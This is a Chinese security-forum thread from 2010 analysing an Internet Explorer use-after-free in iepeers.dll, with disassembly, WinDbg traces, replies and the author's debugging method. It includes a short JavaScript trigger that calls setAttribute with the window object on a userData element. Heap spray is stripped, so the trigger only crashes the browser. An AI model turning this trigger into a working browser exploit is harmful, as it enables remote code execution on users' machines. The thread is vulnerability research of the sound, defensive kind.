首页
社区
课程
招聘
[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码
发表于: 2010-3-12 08:33 31568

[原创]IE0DAY:iepeers.dll!CPersistUserData::setAttribute导致内存破坏可能导致远程执行任意代码

2010-3-12 08:33
31568

Microsoft安全预警页面:http://www.microsoft.com/technet/security/advisory/981374.mspx
PoC来源:http://www.rec-sec.com/2010/03/10/internet-explorer-iepeers-use-after-free-exploit/

调试环境:IE7(可能不是最全补丁版本),XP sp3 简体中文版,对上面链接取得的PoC,我连Heap Spray部分都去掉了,只分析内存是怎么被破坏的,我用的PoC内容在附件。

iepeers.dll中的CPersistUserData::setAttribute对VT_DISPATCH类型的Variant变量进行转化的过程中的处理失误导致内存破坏,有可能导致远程执行任意代码。

1. 网页COmWindowProxy对象通过mshtml!COmWindowProxy::GetSecurityThunk方法调用mshtml!CreateTearOffThunk为自己创建相应的TearoffThunk类结构。

.text:3E51A766 53 push ebx ; int
.text:3E51A767 68 30 59 5B 3E push offset _GUID const * const * const g_apIID_IDispatchEx ; int
.text:3E51A76C 6A 07 push 7 ; int
.text:3E51A76E FF 30 push dword ptr [eax] ; int
.text:3E51A770 50 push eax ; int
.text:3E51A771 57 push edi ; int
.text:3E51A772 53 push ebx ; int
.text:3E51A773 68 DC 2F 5B 3E push offset long (CVoid::*const * const COmWindowProxy::s_apfnIDispatchEx)(void) ; int
.text:3E51A778 56 push esi ; int
.text:3E51A779 E8 4B 85 09 00 call CreateTearOffThunk(void *,void const *,IUnknown *,void * *,void *,void *,ulong,_GUID const * const *,void *)

.text:75BE302B
.text:75BE302B long __stdcall IDispatchExGetDispID(class CSession *, struct IDispatchEx *, unsigned short *, unsigned long, long *) proc near
.text:75BE302B ; CODE XREF: GetDex2DispID(CSession *,IDispatchEx *,SYM *,long *,ulong)+30p
.text:75BE302B
.text:75BE302B var_C = dword ptr -0Ch
.text:75BE302B Session = dword ptr 8
.text:75BE302B Dispatch = dword ptr 0Ch
.text:75BE302B arg_8 = dword ptr 10h
.text:75BE302B arg_C = dword ptr 14h
.text:75BE302B arg_10 = dword ptr 18h
.text:75BE302B
.text:75BE302B ; FUNCTION CHUNK AT .text:75BFFC54 SIZE 00000016 BYTES
.text:75BE302B
.text:75BE302B mov edi, edi
.text:75BE302D push ebp
.text:75BE302E mov ebp, esp
.text:75BE3030 sub esp, 0Ch
.text:75BE3033 push esi
.text:75BE3034 push 0
.text:75BE3036 lea ecx, [ebp+var_C]
.text:75BE3039 call TLS_NoDestructor::TLS_NoDestructor(COleScript *)
.text:75BE3039
.text:75BE303E mov eax, [ebp+Session]
.text:75BE3041 test eax, eax
.text:75BE3043 jz short loc_75BE3055
.text:75BE3043
.text:75BE3045 test dword ptr [eax+224h], 80000000h
.text:75BE304F jnz loc_75BFFC54
.text:75BE304F
.text:75BE3055
.text:75BE3055 loc_75BE3055: ; CODE XREF: IDispatchExGetDispID(CSession *,IDispatchEx *,ushort *,ulong,long *)+18j
.text:75BE3055 push [ebp+arg_10]
.text:75BE3058 mov eax, [ebp+Dispatch] ; pointer of TearoffThunk structure
.text:75BE305B push [ebp+arg_C]
.text:75BE305E mov ecx, [eax]
.text:75BE3060 push [ebp+arg_8]
.text:75BE3063 push eax
.text:75BE3064 call dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
.text:75BE3064
.text:75BE3067
var sdfsfsdf = document.createElement("BODY");
sdfsfsdf.addBehavior("#default#userData");
document.appendChild(sdfsfsdf);
try
{
for (i=0;i<10;i++)
{
sdfsfsdf.setAttribute('s',window);
}
}
catch(e){}
.text:58775272
.text:58775272 ; int __stdcall CPersistUserData__setAttribute(int,int,VARIANTARG pvarSrc)
.text:58775272 public: virtual long __stdcall CPersistUserData::setAttribute(unsigned short *, struct tagVARIANT) proc near
.text:58775272 ; DATA XREF: .text:58762FC4o
.text:58775272
.text:58775272 pvarg = VARIANTARG ptr -10h
.text:58775272 arg_0 = dword ptr 8
.text:58775272 arg_4 = dword ptr 0Ch
.text:58775272 pvarSrc = VARIANTARG ptr 10h
.text:58775272
.text:58775272 8B FF mov edi, edi
.text:58775274 55 push ebp
.text:58775275 8B EC mov ebp, esp
.text:58775277 83 EC 10 sub esp, 10h
.text:5877527A 53 push ebx
.text:5877527B 56 push esi
.text:5877527C 33 F6 xor esi, esi
.text:5877527E 39 75 0C cmp [ebp+arg_4], esi
.text:58775281 57 push edi
.text:58775282 75 0A jnz short loc_5877528E
.text:58775282
.text:58775284 BF 57 00 07 80 mov edi, 80070057h
.text:58775289 E9 C9 00 00 00 jmp loc_58775357
.text:58775289
.text:5877528E ; ---------------------------------------------------------------------------
.text:5877528E
.text:5877528E loc_5877528E: ; CODE XREF: CPersistUserData::setAttribute(ushort *,tagVARIANT)+10j
.text:5877528E 8B 5D 08 mov ebx, [ebp+arg_0]
.text:58775291 56 push esi
.text:58775292 8B CB mov ecx, ebx
.text:58775294 E8 92 0F FF FF call CPersistUserData::initXMLCache(int)
.text:58775294
.text:58775299 8B F8 mov edi, eax
.text:5877529B 3B FE cmp edi, esi
.text:5877529D 0F 85 B4 00 00 00 jnz loc_58775357
.text:5877529D
.text:587752A3 39 73 18 cmp [ebx+18h], esi
.text:587752A6 0F 84 AB 00 00 00 jz loc_58775357
.text:587752A6
.text:587752AC 8B 45 10 mov eax, dword ptr [ebp+pvarSrc.anonymous_0] ; VARIANT.vt(VARTYPE) == VT_DISPATCH
.text:587752AF 66 83 F8 08 cmp ax, VT_BSTR
.text:587752B3 89 75 F0 mov dword ptr [ebp+pvarg.anonymous_0], esi
.text:587752B6 89 75 F4 mov dword ptr [ebp+pvarg.anonymous_0+4], esi
.text:587752B9 89 75 F8 mov dword ptr [ebp+pvarg.anonymous_0+8], esi
.text:587752BC 74 62 jz short loc_58775320
.text:587752BC
.text:587752BE 66 3D 08 40 cmp ax, 4008h
.text:587752C2 74 5C jz short loc_58775320
.text:587752C2
.text:587752C4 66 83 F8 0B cmp ax, VT_BOOL
.text:587752C8 74 24 jz short loc_587752EE
.text:587752C8
.text:587752CA 66 3D 0B 40 cmp ax, 400Bh
.text:587752CE 74 24 jz short loc_587752F4
.text:587752CE
.text:587752D0 6A 08 push VT_BSTR ; vt
.text:587752D2 6A 00 push 0 ; wFlags
.text:587752D4 8D 75 10 lea esi, [ebp+pvarSrc]
.text:587752D7 68 09 04 00 00 push 409h ; lcid
.text:587752DC 8B C6 mov eax, esi
.text:587752DE 50 push eax ; pvarSrc
.text:587752DF 50 push eax ; pvargDest
.text:587752E0 FF 15 58 12 76 58 call ds:VariantChangeTypeEx(x,x,x,x,x)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (46)
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
小聪的动作好快啊,不错不错,顺便问下,那个symbol从哪下的?
2010-3-12 08:46
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
3
调试方法:
WINDBG载入iexplore.exe,命令行参数为PoC网页路径,第一次停在系统断点,放行之:

(d4.3c8): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffda000 ecx=00000003 edx=00000008 esi=00251f48 edi=00251eb4
eip=7c92120e esp=0013fb20 ebp=0013fc94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:000> g

跑起来后IE7会出现为了保护安全性已阻止有关内容执行的条子,这时先在windbg里暂停回到调试器。
在其下位置(jscript!IDispatchExGetDispID中)
.text:75BE3064                 call    dword ptr [ecx+1Ch] ; mshtml!TearoffThunk7
下硬件执行断点(这样下断是因为这时jscript.dll还没有加载,不能bp),g执行:

0:012> ba e 1 75be3064
0:012> g

这时可以点击允许相关内容执行,很快断下:

Breakpoint 0 hit
eax=001897e0 ebx=019df8e0 ecx=3e80f218 edx=00000000 esi=00986950 edi=00986950
eip=75be3064 esp=019df81c ebp=019df83c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

记下这个eax=001897e0,即之后内存破坏的位置。
继续单步可以看清楚正常的流程,即分析中的第2点,可以看到正确的流程是跳到mshtml!COmWindowProxy::subGetDispID。

0:005> t
eax=001897ec ebx=019df8e0 ecx=001c98d8 edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f1 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
0:005> t
eax=001897ec ebx=019df8e0 ecx=3e5b2fdc edx=00000000 esi=00986950 edi=00986950
eip=3e5b95f4 esp=019df814 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x21:
3e5b95f4 8b491c mov ecx,dword ptr [ecx+1Ch] ds:0023:3e5b2ff8={mshtml!COmWindowProxy::subGetDispID (3e5a830c)}
......
0:005> t
eax=001897e0 ebx=019df8e0 ecx=3e5a830c edx=00000000 esi=00986950 edi=00986950
eip=3e5b95ff esp=019df818 ebp=019df83c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x2c:
3e5b95ff ffe1 jmp ecx {mshtml!COmWindowProxy::subGetDispID (3e5a830c)}

取消刚刚设的断点,对导致内存破坏的始作俑者iepeers.dll!CPersistUserData::setAttribute下断,运行断下:

0:005> bu iepeers!CPersistUserData::setAttribute
0:005> g
ModLoad: 58760000 58792000 C:\WINDOWS\system32\iepeers.dll
Breakpoint 1 hit
eax=7ffd9000 ebx=58762f98 ecx=58775272 edx=001a8e8a esi=00986310 edi=00000000
eip=58775272 esp=019dc9a8 ebp=019dc9d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
iepeers!CPersistUserData::setAttribute:
58775272 8bff mov edi,edi

单步直接看到对OLEAUT32!VariantChangeTypeEx的调用:

......
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d0 esp=019dc988 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x5e:
587752d0 6a08 push 8
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d2 esp=019dc984 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x60:
587752d2 6a00 push 0
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=00000000 edi=00000000
eip=587752d4 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x62:
587752d4 8d7510 lea esi,[ebp+10h]
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752d7 esp=019dc980 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x65:
587752d7 6809040000 push offset <Unloaded_ud.drv>+0x408 (00000409)
0:005> t
eax=00980009 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752dc esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6a:
587752dc 8bc6 mov eax,esi
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752de esp=019dc97c ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6c:
587752de 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752df esp=019dc978 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6d:
587752df 50 push eax
0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=587752e0 esp=019dc974 ebp=019dc9a4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
iepeers!CPersistUserData::setAttribute+0x6e:
587752e0 ff1558127658 call dword ptr [iepeers!_imp__VariantChangeTypeEx (58761258)] ds:0023:58761258={OLEAUT32!VariantChangeTypeEx (770f6aea)}

单步步进,看到源Variant指针为0x019dc9b4,并从其中取到对应的类指针,正是0x001897e0。

0:005> t
eax=019dc9b4 ebx=00987ea0 ecx=5dd56557 edx=0020d1c0 esi=019dc9b4 edi=00000000
eip=770f6aff esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
OLEAUT32!VariantChangeTypeEx+0x15:
770f6aff 8b750c mov esi,dword ptr [ebp+0Ch] ss:0023:019dc978=019dc9b4
......
0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=019dc9b4 edi=00000000
eip=770f5786 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xe9:
770f5786 8b7608 mov esi,dword ptr [esi+8] ds:0023:019dc9bc=001897e0

单步步进直到看到对OLEAUT32!ExtractValueProperty的调用,注意其第一个参数(最后push的那个)正是esi=001897e0。

0:005> t
eax=00000061 ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f578f esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf2:
770f578f 8d45d0 lea eax,[ebp-30h]
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5792 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf5:
770f5792 50 push eax
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5793 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf6:
770f5793 ff7510 push dword ptr [ebp+10h] ss:0023:019dc97c=00000409
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5796 esp=019dc928 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xf9:
770f5796 56 push esi
0:005> t
eax=019dc93c ebx=00000000 ecx=00000009 edx=0000001b esi=001897e0 edi=00000000
eip=770f5797 esp=019dc924 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0xfa:
770f5797 e8b3be0400 call OLEAUT32!ExtractValueProperty (7714164f)

p步过,不要进去OLEAUT32!ExtractValueProperty,跟踪发现它并没有减少访问计数,继续步进直到对OLEAUT32!VariantClear的调用,注意到对OLEAUT32!VariantClear调用传入

的参数即目的Variant指针仍为0x019dc9b4,与源指针一致,这样这个调用导致对相应的对象即0x001897e0指向的TearoffThunk对象的访问计数减1(如果想要深入可以步入其中,

就可以发现把访问计数减1的就是mshtml!PlainRelease):
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b80 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000257
OLEAUT32!VariantChangeTypeEx+0x1001:
770f6b80 85db test ebx,ebx
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b82 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1003:
770f6b82 0f8cb6f8ffff jl OLEAUT32!VariantChangeTypeEx+0x102b (770f643e) [br=0]
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b88 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1005:
770f6b88 668b4518 mov ax,word ptr [ebp+18h] ss:0023:019dc984=0008
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b8c esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1009:
770f6b8c 668945e0 mov word ptr [ebp-20h],ax ss:0023:019dc94c=ffff
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b90 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x100d:
770f6b90 8b4508 mov eax,dword ptr [ebp+8] ss:0023:019dc974=019dc9b4
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b93 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1010:
770f6b93 66833808 cmp word ptr [eax],8 ds:0023:019dc9b4=0009
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b97 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1014:
770f6b97 0f8367e2ffff jae OLEAUT32!VariantChangeTypeEx+0x1016 (770f4e04) [br=1]
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e04 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1016:
770f4e04 50 push eax
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e05 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1017:
770f4e05 e816fbffff call OLEAUT32!VariantClear (770f4920)

步过OLEAUT32!VariantClear,访问计数减1之后,为了不要每次循环都到这里,直接看这个TearoffThunk是在哪里被重写掉的,从前面的TearoffThunk7调用
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
可以知道关键的位置是001897f0处保存的这个函数表,对此处下4字节的硬件写入断点,运行后断下,这时已经在CreateTearoffThunk里的,该处的值确实被改为了mshtml!CWindow::s_apfnIHTMLPrivateWindow3:
0:005> ba w 4 001897f0
0:005> g
Breakpoint 3 hit
eax=001c97b0 ebx=00000000 ecx=3e5b56a4 edx=00000000 esi=001897e0 edi=7c80979e
eip=3e5b2d1f esp=019dc7bc ebp=019dc7c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CreateTearOffThunk+0x83:
3e5b2d1f 895e18 mov dword ptr [esi+18h],ebx ds:0023:001897f8={mshtml!CSecurityThunkSub::`vftable' (3e5b45b8)}
0:005> dd 001897f0 l 1
001897f0 3e5b56a4
0:005> ln 3e5b56a4
(3e5b56a4) mshtml!CWindow::s_apfnIHTMLPrivateWindow3 | (3e5b56d8) mshtml!COmWindowProxy::`vftable'
Exact matches:
mshtml!CWindow::s_apfnIHTMLPrivateWindow3 = <no type information>

最后,把最早的那个断点重新搞上,不过这次加上条件,让它在下次访问相应TearoffThunk结构的时候正好被断下:
0:005> bp 75be3064 "j @eax=001897e0 '';gc"
0:005> g
eax=001897e0 ebx=00000002 ecx=3e80f218 edx=019dcdac esi=001897e0 edi=00039fc8
eip=75be3064 esp=019dcca0 ebp=019dccc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

步进去,最终的过程就有了:

0:005> t
eax=001897ec ebx=00000002 ecx=001c97b0 edx=019dcdac esi=001897e0 edi=00039fc8
eip=3e5b95f1 esp=019dcc98 ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)}

最后是变成jmp 0x0f09f883,以一个Access Violation异常告终:
(d4.77c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001897e0 ebx=00000002 ecx=0f09f883 edx=019dcdac esi=001897e0 edi=00039fc8
eip=0f09f883 esp=019dcc9c ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
<Unloaded_ud.drv>+0xf09f882:
0f09f883 ?? ???
2010-3-12 09:28
0
雪    币: 1705
活跃值: (79)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
膜拜楼主看的话还是知道点皮毛,但都不知道从哪开始学起
2010-3-12 09:39
0
雪    币: 1844
活跃值: (35)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
速度很快,厉害
2010-3-12 09:45
0
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
6
发现和CVE-2009-1136好像,几乎同出一辙,难道是同一个人挖出来的。。。
2010-3-12 10:01
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
7
貌似我之前曾经遇到过一个毒网是利用这个的,但是当时在我实机的IE8上没效果,所以直接扔掉了,现在看了相关公告才知道原来IE6和7才有效。
2010-3-12 10:06
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
8
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=213
找到了又一个页面对该漏洞的简要描述,看来与我的分析是相映证的。
2010-3-12 10:23
0
雪    币: 1491
活跃值: (985)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
9
昨天刚把POC从MSF中导出来,今天就看到分析了
哇哈哈
  看来我慢了一步
2010-3-12 11:06
0
雪    币: 79
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
^_^,看见分析了,很好很好,lz很强大
2010-3-12 11:23
0
雪    币: 324
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
楼主好强大!
2010-3-12 11:38
0
雪    币: 57
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
强悍.....
2010-3-12 15:22
0
雪    币: 2368
活跃值: (81)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
13
无话可说只有膜拜了...
2010-3-12 15:53
0
雪    币: 210
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
完全不懂
2010-3-12 16:13
0
雪    币: 318
活跃值: (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
小聪我爱你..
2010-3-12 19:45
0
雪    币: 270
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
16
请楼主分享下发布漏洞提示的一些网站,http://www.milw0rm.com/停下后就不知去哪了 
2010-3-12 21:58
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
强帖要留名呀
2010-3-12 22:19
0
雪    币: 386
活跃值: (46)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
18
完全看不懂,支持小聪大牛
2010-3-12 23:07
0
雪    币: 822
活跃值: (380)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
19
膜拜一下!楼主实在强大!

在下昨天也分析了这个sample, 最终结果和楼主的一样,但因为是新手,感觉自己走了很多弯路,在这里想请教楼主一点问题:
我是从发生问题的地方回溯,花了好大的功夫才定位到CPersistUserData::setAttribute这个函数的,楼主能否分享一下,您是怎么知道要找CPersistUserData::setAttribute这个函数的呢,mshtml和jscript这两个dll里的类和函数,以及他们之间的调用关系,这些有没有相应的参考资料呢?

还望楼主不吝赐教,在此先谢过楼主了
2010-3-12 23:28
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
LZ很无私哈,连调试细节都贴出来了,强烈支持这样的共享精神。
2010-3-13 01:15
0
雪    币: 722
活跃值: (123)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
21
其实我对IE浏览器内核也是不懂的,也苦于这方面的资料缺乏,很多东西都是在调试过程中自己推敲的。
内存破坏这种类型的定位起来也确实比较麻烦,因为造成破坏的位置和最终触发的位置之间可能有很大距离。也就是说当调试器捕获到异常时,我们面对的已经是一个最后的现场,而我们要做的就是要还原它的整个过程。
要做到这一点,我想一般有顺向和逆向两种方法。
顺向是建立在对相应程序机制和代码的理解上,比如如果分析者对IE浏览器内核运作很了解,也就是说懂得IE是怎么执行脚本的,脚本代码是怎么跟实际的代码执行过程联系起来的,那么通过阅读PoC,当看到脚本通过addBehavior把body标签和UserData绑定并通过循环调用setAttribute来实现时,很可能很快就意识到了CPersistUserData::setAttribute是关键。对于那些深入了解浏览器机制的专家来说,或者就是这样的。
但是我就不行了,应该说我是硬钻到漏洞分析这个领域上来的,我对IE内核的实现机制基本不懂,甚至对这些类的构成方式如虚函数表,也是在这个过程中慢慢学会的。我凭借的就只有以汇编为基础的调试能力了,只能从逆向者的角度来操作它了。
对于逆向的方法,处理这种的一般步骤,我想应该是:1.捕获异常,看到最后的状态;2.尝试往前走找到一个未被破坏的初始点可以定位到相关内存未被破坏前的状态;3.找到了初始点,就可以使用写入断点来找到内存被修改也就是被重用的位置;4.对于一般的类对象,有相应的函数进行减小访问计数并最终释放的工作,对该函数进行研究,使用条件断点等捕捉到它对相应的对象进行减小访问计数的那个时刻;5.第4步成功捕捉到后,用栈回溯等就可以确定它是被谁调用的,这样就确定了破坏的位置;6.结合调试结果和脚本内容以及各个类的关系推敲。
其中第2步是第一个门槛。就像软件注册破解要找到关键代码一样,往往没有定式,只能靠摸索和观察以及一点运气,因此往往相当一部分时间是耗在这里的。
就我调试的过程而言,我是经历了这几步:
1. 直接windbg加载IE执行代码,触发异常回到调试器,这时的栈回溯可看到触发异常的代码是被jscript!IDispatchExGetDispID调用的,这样在这个函数上下断,一开始断下时并不是在最后溢出时,但是对前面那些正常的流程的调试可以让我了解这个函数相关的代码原本是在做什么,也即进一步找到了TearoffThunk7就是最终溢出的函数,以及这是有关TearoffThunk类的内存破坏。
